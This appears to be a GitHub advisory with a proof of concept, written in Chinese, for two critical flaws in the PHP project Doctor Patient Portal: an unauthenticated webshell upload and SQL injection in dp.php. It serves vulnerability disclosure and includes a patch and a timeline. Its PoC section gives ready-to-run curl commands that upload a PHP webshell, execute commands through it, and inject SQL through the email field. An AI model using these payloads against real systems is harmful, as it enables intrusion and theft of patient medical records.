Kimdir01/doctorpatientportal-rce-sqli-cve
GitHub: Kimdir01/doctorpatientportal-rce-sqli-cve
针对 PHP 项目 Doctor Patient Portal 的未授权远程代码执行与 SQL 注入漏洞的概念验证仓库,复现并验证两个 CVSS 9.8 的严重漏洞。
Stars: 0 | Forks: 0
# CVE-2026-XXXXX
## Doctor Patient Portal 中的未授权任意文件上传 (RCE) + SQL 注入
### 漏洞公告信息
| 字段 | 值 |
|-------|-------|
| **生态系统** | PHP |
| **包/产品** | Doctor Patient Portal |
| **受影响版本** | 至 commit `5a138db` 的所有版本 |
| **已修复版本** | 无 |
| **严重程度** | **严重 (CVSS 9.8)** |
| **CWE** | CWE-434 (任意文件上传) + CWE-89 (SQL 注入) |
| **CVSS 向量** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **代码库** | https://github.com/thegr8dev/doctorpatientportal |
| **星标** | 69 ⭐ |
### 摘要
Doctor Patient Portal 在 `dp.php` 中存在两个严重的未授权漏洞:允许部署 PHP webshell 的任意文件上传(头像上传没有任何 MIME 验证),以及医生注册 INSERT 查询中的 SQL 注入。在所有数据输入文件中,均未使用任何输入过滤或预处理语句。
### 受影响组件
| 字段 | 值 |
|-------|-------|
| **生态系统** | PHP |
| **包** | thegr8dev/doctorpatientportal |
| **供应商** | thegr8dev |
| **受影响版本** | 所有版本 (commit `5a138db`) |
| **已修复版本** | 无 |
| **文件** | `dp.php`,第 119–123 行 |
### 描述
`dp.php` 在没有身份验证的情况下处理医生注册。头像上传没有 MIME 验证,并且所有表单字段在未经转义的情况下直接插入到 SQL 中:
**漏洞 #1 — 任意文件上传 (CWE-434):**
```
// dp.php — unauthenticated, NO MIME check on profile picture
$docpic = $_FILES['newpic']['name']; // user-controlled filename (*.php allowed)
$temp2 = $_FILES['newpic']['tmp_name'];
// ... INSERT doctor record into database ...
mkdir($location, 0777, true);
move_uploaded_file($temp2, "doctor/$docid/img/$docpic"); // ← PHP file in webroot!
```
只有文档上传会检查 MIME(要求为 `application/pdf`)。第 123 行的头像上传完全没有验证。
**漏洞 #2 — SQL 注入 (CWE-89):**
```
// dp.php line 119 — raw $_POST values, no prepare(), no escape
$q = "insert into doctor values('', '$name', '$email', '$pass', '$age', '$phone',
'$status', '$type', '$address', '$gender', '$docid', '$adrid', '$cat','$location2',
'', '$question', '$answer')";
mysqli_query($con, $q);
```
整个代码库中完全没有调用 `mysqli_real_escape_string()` 或 `mysqli_prepare()`。
### 概念验证 (PoC)
**步骤 1 — 将 PHP webshell 作为头像进行医生注册:**
```
curl -X POST "http://target/dp.php" \
-F "btn_doc=1" \
-F "name=Hacker" \
-F "email=hack@evil.com" \
-F "password=Pass123" \
-F "age=30" \
-F "phone=1234567890" \
-F "address=123+Main+St" \
-F "gender=Male" \
-F "docid=DOC001" \
-F "adrid=ADR001" \
-F "cat=General" \
-F "question=Favorite+color" \
-F "answer=blue" \
-F "file=@document.pdf;type=application/pdf" \
-F "newpic=@shell.php;type=image/jpeg"
# Profile pic shell.php 上传至 doctor/DOC001/img/shell.php
```
**步骤 2 — 执行命令:**
```
curl "http://target/doctor/DOC001/img/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data)
```
**步骤 3 — SQL 注入(通过 email 参数):**
```
curl -X POST "http://target/dp.php" \
-F "btn_doc=1" \
-F "email=hack@evil.com', 'pass', 30, '123', 'pending', 'doc', 'addr', 'M', 'DOC002', 'ADR', 'General', './x', '', 'q', 'a')-- " \
-F "password=x" -F "name=x" -F "age=30" -F "phone=1" -F "address=x" \
-F "gender=M" -F "docid=DOC002" -F "adrid=ADR" -F "cat=General" \
-F "question=q" -F "answer=a" \
-F "file=@doc.pdf;type=application/pdf" \
-F "newpic=@test.jpg"
# 通过 email SQL injection 注入任意 doctor 记录
```
### 影响
| CIA | 级别 | 描述 |
|-----|-------|-------------|
| 机密性 | **高** | 通过 webshell 实现 RCE — 读取患者病历、处方、个人数据 |
| 完整性 | **高** | SQLi:任意 INSERT + RCE:修改任何文件 |
| 可用性 | **高** | 删除文件,删除数据表 (drop tables) |
**面临风险的数据:** 患者医疗记录、医生凭据、处方、个人健康信息。
### 补丁
```
+ $allowed = ['jpg','jpeg','png'];
+ $ext = strtolower(pathinfo($_FILES['newpic']['name'], PATHINFO_EXTENSION));
+ if(!in_array($ext, $allowed)) { die("Invalid image type"); }
- $q = "insert into doctor values('', '$name', ...)";
- mysqli_query($con, $q);
+ $stmt = mysqli_prepare($con, "INSERT INTO doctor VALUES (?,?,?,...)");
+ mysqli_stmt_bind_param($stmt, "ssss...", $name, $email, ...);
+ mysqli_stmt_execute($stmt);
```
### 参考资料
| 类型 | URL |
|------|-----|
| 代码库 | https://github.com/thegr8dev/doctorpatientportal |
| 存在漏洞的代码 | https://github.com/thegr8dev/doctorpatientportal/blob/main/dp.php#L123 |
| CWE-434 | https://cwe.mitre.org/data/definitions/434.html |
| CWE-89 | https://cwe.mitre.org/data/definitions/89.html |
### 验证
```
git clone https://github.com/thegr8dev/doctorpatientportal && cd *
grep -n "move_uploaded_file.*newpic\|move_uploaded_file.*docpic" dp.php # line 123 — no MIME
grep -n "mysqli_query.*insert" dp.php # line 120 — raw SQL
grep -c "prepare\|real_escape" dp.php # 0
```
### 时间线
| 日期 | 事件 |
|------|-------|
| 2026-06-28 | 发现并验证漏洞 |
| 2026-06-28 | 通过私下披露通知供应商 |
| 待定 | 供应商确认 / 回应 |
| 待定 | 分配 CVE ID |
| 待定 + 90 天 | 协调公开披露 |
### CVSS v3.1
```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — 9.8 CRITICAL
AV:N — Remote over HTTP
AC:L — Simple multipart POST
PR:N — No authentication (doctor registration is public)
UI:N — No user interaction
S:U — Same security context
C:H — RCE webshell: read patient DB, medical records
I:H — SQLi: arbitrary INSERT + RCE: overwrite any file
A:H — RCE: delete files, drop database
```
标签:CISA项目, Maven, OpenVAS, PHP, Web安全, 文件上传漏洞, 漏洞验证, 蓝队分析